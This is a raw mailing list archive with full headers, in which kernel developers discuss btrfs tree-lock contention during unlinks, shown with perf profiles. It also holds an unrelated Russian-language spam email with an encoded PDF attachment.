fsdevel because after all the XFS stuff I did a some testing on > > mmotm w.r.t per-node LRU lock contention avoidance, and also some > > scalability tests against ext4 and btrfs for comparison on some new > > hardware. That bit ain't pretty. ] > > > > And, well, the less said about btrfs unlinks the better: > > > > + 37.14% [kernel] [k] _raw_spin_unlock_irqrestore > > + 33.18% [kernel] [k] __write_lock_failed > > + 17.96% [kernel] [k] __read_lock_failed > > + 1.35% [kernel] [k] _raw_spin_unlock_irq > > + 0.82% [kernel] [k] __do_softirq > > + 0.53% [kernel] [k] btrfs_tree_lock > > + 0.41% [kernel] [k] btrfs_tree_read_lock > > + 0.41% [kernel] [k] do_raw_read_lock > > + 0.39% [kernel] [k] do_raw_write_lock > > + 0.38% [kernel] [k] btrfs_clear_lock_blocking_rw > > + 0.37% [kernel] [k] free_extent_buffer > > + 0.36% [kernel] [k] btrfs_tree_read_unlock > > + 0.32% [kernel] [k] do_raw_write_unlock > > > > Hi Dave, > > Thanks for doing these runs. At least on Btrfs the best way to resolve > the tree locking today is to break things up into more subvolumes. Sure, but you can't do that most workloads. Only on specialised workloads (e.g. hashed directory tree based object stores) is this really a viable option.... > I've > got another run at the root lock contention in the queue after I get > the skiplists in place in a few other parts of the Btrfs code. It will be interesting to see how these new structures play out ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From clmason@fusionio.com Mon Jul 8 20:54:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DFD8F7F56 for ; Mon, 8 Jul 2013 20:54:23 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CC100304064 for ; Mon, 8 Jul 2013 18:54:23 -0700 (PDT) X-ASG-Debug-ID: 1373334862-04cb6c2a41a45730001-NocioJ Received: from dkim1.fusionio.com (dkim1.fusionio.com [66.114.96.53]) by cuda.sgi.com with ESMTP id CDJyjslg1Pza3MFs (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 08 Jul 2013 18:54:22 -0700 (PDT) X-Barracuda-Envelope-From: clmason@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.53 Received: from mx2.fusionio.com (unknown [10.101.1.160]) by dkim1.fusionio.com (Postfix) with ESMTP id 0017A7C06A6 for ; Mon, 8 Jul 2013 19:54:21 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1373334862; bh=+r1DxK+EkIuDDB1LL1rHkTfTgw9odeVEcO+Lhigh6Zo=; h=To:From:In-Reply-To:CC:References:Subject:Date; b=l//xDf4zJgVQwiLev9VoV1NJNndUT0DYUGsEXhRosE2VmYJNoSsWbN4koizjBiHAs myiVljxQ6jDmB2FFnuJ5pmdtRP6KN6nj0i/6TbaeFSFs5wbcJbBoUmTMX1e3P/Ca1I bnqxBj55MCehI21nfbiEQOArjeBIWjQv6fADa9Uw= Received: from CAS1.int.fusionio.com (cas1.int.fusionio.com [10.101.1.40]) by mx2.fusionio.com with ESMTP id CeGpjITDjE4V5dBi (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Mon, 08 Jul 2013 19:54:21 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.40) with Microsoft SMTP Server (TLS) id 14.3.123.3; Mon, 8 Jul 2013 19:54:20 -0600 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable To: Dave Chinner From: Chris Mason In-Reply-To: <20130709012614.GH3438@dastard> CC: , References: <1372657476-9241-1-git-send-email-david@fromorbit.com> <20130708124453.GC3438@dastard> <20130709011533.3855.97802@localhost.localdomain> <20130709012614.GH3438@dastard> Message-ID: <20130709015419.3855.98373@localhost.localdomain> User-Agent: alot/0.3.4 Subject: Re: [BULK] Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) Date: Mon, 8 Jul 2013 21:54:19 -0400 X-ASG-Orig-Subj: Re: [BULK] Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim1.fusionio.com[66.114.96.53] X-Barracuda-Start-Time: 1373334862 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136218 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Quoting Dave Chinner (2013-07-08 21:26:14) > On Mon, Jul 08, 2013 at 09:15:33PM -0400, Chris Mason wrote: > > Quoting Dave Chinner (2013-07-08 08:44:53) > > > [cc fsdevel because after all the XFS stuff I did a some testing on > > > mmotm w.r.t per-node LRU lock contention avoidance, and also some > > > scalability tests against ext4 and btrfs for comparison on some new > > > hardware. That bit ain't pretty. ] > > > = > > > And, well, the less said about btrfs unlinks the better: > > > = > > > + 37.14% [kernel] [k] _raw_spin_unlock_irqrestore > > > + 33.18% [kernel] [k] __write_lock_failed > > > + 17.96% [kernel] [k] __read_lock_failed > > > + 1.35% [kernel] [k] _raw_spin_unlock_irq > > > + 0.82% [kernel] [k] __do_softirq > > > + 0.53% [kernel] [k] btrfs_tree_lock > > > + 0.41% [kernel] [k] btrfs_tree_read_lock > > > + 0.41% [kernel] [k] do_raw_read_lock > > > + 0.39% [kernel] [k] do_raw_write_lock > > > + 0.38% [kernel] [k] btrfs_clear_lock_blocking_rw > > > + 0.37% [kernel] [k] free_extent_buffer > > > + 0.36% [kernel] [k] btrfs_tree_read_unlock > > > + 0.32% [kernel] [k] do_raw_write_unlock > > > = > > = > > Hi Dave, > > = > > Thanks for doing these runs. At least on Btrfs the best way to resolve > > the tree locking today is to break things up into more subvolumes. > = > Sure, but you can't do that most workloads. Only on specialised > workloads (e.g. hashed directory tree based object stores) is this > really a viable option.... Yes and no. It makes a huge difference even when you have 8 procs all working on the same 8 subvolumes. It's not perfect but it's all I have ;) > = > > I've > > got another run at the root lock contention in the queue after I get > > the skiplists in place in a few other parts of the Btrfs code. > = > It will be interesting to see how these new structures play out ;) The skiplists don't translate well to the tree roots, so I'll probably have to do something different there. But I'll get the onion peeled one way or another. -chris From boxik365@xanodria.com Tue Jul 9 00:50:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_OBFU_PDF_ATTACH autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 511A27F37 for ; Tue, 9 Jul 2013 00:50:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2127330404E for ; Mon, 8 Jul 2013 22:50:54 -0700 (PDT) X-ASG-Debug-ID: 1373349051-04cbb04690d01aa0001-NocioJ Received: from s11.newit.ru (static.199.113.9.5.clients.your-server.de [5.9.113.199]) by cuda.sgi.com with ESMTP id eyKHK44NaPRjGlH9 for ; Mon, 08 Jul 2013 22:50:52 -0700 (PDT) X-Barracuda-Envelope-From: boxik365@xanodria.com X-Barracuda-Apparent-Source-IP: 5.9.113.199 Received: from Unknown (unknown [93.184.71.66]) by s11.newit.ru (Postfix) with ESMTPA id 7E19F1782395; Tue, 9 Jul 2013 09:50:50 +0400 (MSK) Message-ID: <33C2B56AEFE6457BAD44CFA3474A08C4@egblxf> Reply-To: =?windows-1251?B?ys7MyNLF0iDPziDR0tDOyNLFy9zR0sLTIMgg?= =?windows-1251?B?z9DOxcrSyNDOwsDNyN4=?= From: =?windows-1251?B?ys7MyNLF0iDPziDR0tDOyNLFy9zR0sLTIMgg?= =?windows-1251?B?z9DOxcrSyNDOwsDNyN4=?= To: , , , Subject: =?windows-1251?B?w9DAxM7R0tDOyNLFy9zN28kgys7ExcrRINDO?= =?windows-1251?B?0dHIydHKzskg1MXExdDA1sjI?= Date: Tue, 9 Jul 2013 07:49:58 +0200 X-ASG-Orig-Subj: =?windows-1251?B?w9DAxM7R0tDOyNLFy9zN28kgys7ExcrRINDO?= =?windows-1251?B?0dHIydHKzskg1MXExdDA1sjI?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0DA8_01CE7C78.E8C77AB0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: static.199.113.9.5.clients.your-server.de[5.9.113.199] X-Barracuda-Start-Time: 1373349051 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136234 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_0DA8_01CE7C78.E8C77AB0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0DA9_01CE7C78.E8C77AB0" ------=_NextPart_001_0DA9_01CE7C78.E8C77AB0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =DD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=E8 =E7=E4=E0=ED=E8=E9, =F1=EE=EE=F0=F3=E6= =E5=ED=E8=E9 =F1 2013=E3. ------=_NextPart_001_0DA9_01CE7C78.E8C77AB0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
    =DD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=E8 =E7=E4=E0=ED=E8=E9, =F1=EE=EE=F0= =F3=E6=E5=ED=E8=E9 =F1 2013=E3.
    ------=_NextPart_001_0DA9_01CE7C78.E8C77AB0-- ------=_NextPart_000_0DA8_01CE7C78.E8C77AB0 Content-Type: application/octet-stream; name="=?windows-1251?B?w+7x82fg8PHy4uXt7fvpIPHy8O518uXr/O37?= =?windows-1251?B?6SDt4Gfn7vAucGRm?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?w+7x82fg8PHy4uXt7fvpIPHy8O518uXr/O37?= =?windows-1251?B?6SDt4Gfn7vAucGRm?=" JVBERi0xLjQNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUGFnZXMgMiAwIFIvTGFu ZyhydS1SVSkgL091dHB1dEludGVudHNbPDwvVHlwZS9PdXRwdXRJbnRlbnQvUy9HVFNfUERGQTEv T3V0cHV0Q29uZGl0aW9uSWRlbnRpZmllcihzUkdCKSAvUmVnaXN0cnlOYW1lKGh0dHA6Ly93d3cu Y29sb3Iub3JnKSAvSW5mbyhDcmVhdG9yOiBIUCAgICAgTWFudWZhY3R1cmVyOklFQyAgICBNb2Rl bDpzUkdCKSAvRGVzdE91dHB1dFByb2ZpbGUgMTIgMCBSPj5dIC9NZXRhZGF0YSAxMyAwIFI+Pg0K ZW5kb2JqDQoyIDAgb2JqDQo8PC9UeXBlL1BhZ2VzL0NvdW50IDEvS2lkc1sgMyAwIFJdID4+DQpl bmRvYmoNCjMgMCBvYmoNCjw8L1R5cGUvUGFnZS9QYXJlbnQgMiAwIFIvUmVzb3VyY2VzPDwvRm9u dDw8L0YxIDUgMCBSPj4vWE9iamVjdDw8L0ltYWdlNyA3IDAgUj4+L1Byb2NTZXRbL1BERi9UZXh0 L0ltYWdlQi9JbWFnZUMvSW1hZ2VJXSA+Pi9NZWRpYUJveFsgMCAwIDU5NS4zMiA4NDEuOTJdIC9D b250ZW50cyA0IDAgUj4+DQplbmRvYmoNCjQgMCBvYmoNCjw8L0ZpbHRlci9GbGF0ZURlY29kZS9M ZW5ndGggMTU2Pj4NCnN0cmVhbQ0KeJxNjrsKwmAMhfdA3uGMKjTNf29X8YJuQsFBHES0i1V8/8Wo WEwgkC+ckzPvmOqVg4uiEd2VyUGtHVIOUiJCkujtMjAp+vdYMx0mmB7RbZmWpn8yVSr6qawZjWZJ HqZIbZLgf+A2AjP97qMu/NP9DHem2HrxGVUjqfUBLogvLUpWKQGpGG0QLZ2FPNuvejOc+kvB4oEd 0wvbTikdDQplbmRzdHJlYW0NCmVuZG9iag0KNSAwIG9iag0KPDwvVHlwZS9Gb250L1N1YnR5cGUv VHJ1ZVR5cGUvTmFtZS9GMS9CYXNlRm9udC9BQkNERUUrVGltZXMjMjBOZXcjMjBSb21hbi9FbmNv ZGluZy9XaW5BbnNpRW5jb2RpbmcvRm9udERlc2NyaXB0b3IgNiAwIFIvRmlyc3RDaGFyIDMyL0xh c3RDaGFyIDMyL1dpZHRocyA5IDAgUj4+DQplbmRvYmoNCjYgMCBvYmoNCjw8L1R5cGUvRm9udERl c2NyaXB0b3IvRm9udE5hbWUvQUJDREVFK1RpbWVzIzIwTmV3IzIwUm9tYW4vRmxhZ3MgMzIvSXRh bGljQW5nbGUgMC9Bc2NlbnQgODkxL0Rlc2NlbnQgLTIxNi9DYXBIZWlnaHQgNjkzL0F2Z1dpZHRo IDQwMS9NYXhXaWR0aCAyNTY4L0ZvbnRXZWlnaHQgNDAwL1hIZWlnaHQgMjUwL0xlYWRpbmcgNDIv U3RlbVYgNDAvRm9udEJCb3hbIC01NjggLTIxNiAyMDAwIDY5M10gL0ZvbnRGaWxlMiAxMCAwIFI+ Pg0KZW5kb2JqDQo3IDAgb2JqDQo8PC9UeXBlL1hPYmplY3QvU3VidHlwZS9JbWFnZS9XaWR0aCA1 MDQvSGVpZ2h0IDc3OS9Db2xvclNwYWNlL0RldmljZVJHQi9CaXRzUGVyQ29tcG9uZW50IDgvSW50 ZXJwb2xhdGUgZmFsc2UvRmlsdGVyL0ZsYXRlRGVjb2RlL0xlbmd0aCAyOTg5NT4+DQpzdHJlYW0N Cnic7J0PSCTJ+fefmZsbbzAzGUT0MIpENCKIRjDGCMZBEBEjiBiDGBFERBAR7/2JiEhERFhiFkFk 8YLIIsKCLBLxEIMYgyAiCL777su+Bl/f12zYbOK7uc3t7W3udrXenv/d1dU9PeM4M47fD4tbXV3/ a+ZbT1fXVDEWhKIBAzKi0qRoVQBAVICYJCzoGgBAVICYJCzoGgBAVICYJCzoGgBAVICYJCzoGgBA VICYJCzoGgBAVICYJCzoGgBAVICYJCzoGgBAVICYJCzoGgBAVICYJCzoGgBAVICYJCzoGgBAVICY JCzoGgBAVICYJCzoGgBAVICYJCzoGgBAVICYJCzoGgBAVEhYMbm6unr//v1/PFx58F5Kfzm3hDeY +lbIFCTHhw8f4l1XMQnbNQCA20Viiondbv/+97+fmpr6PQ9Wq9XrSEtLk/5+/PHH0l3J4XA4JIf3 UsJ7+T0/3ujeKMIUPvroo/T0dJPJFO/qiknMrgEA3DoSUEwkG1uS6N///vdXKrx3A8HksS4vLwP+ EtKlOro6hT/+8Y/QeQBAcpOYYiKZ3L/73e+EQh1dNjY2JNs+3tUVk5hdAwC4dSSmmHzyySfz8/Mx 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 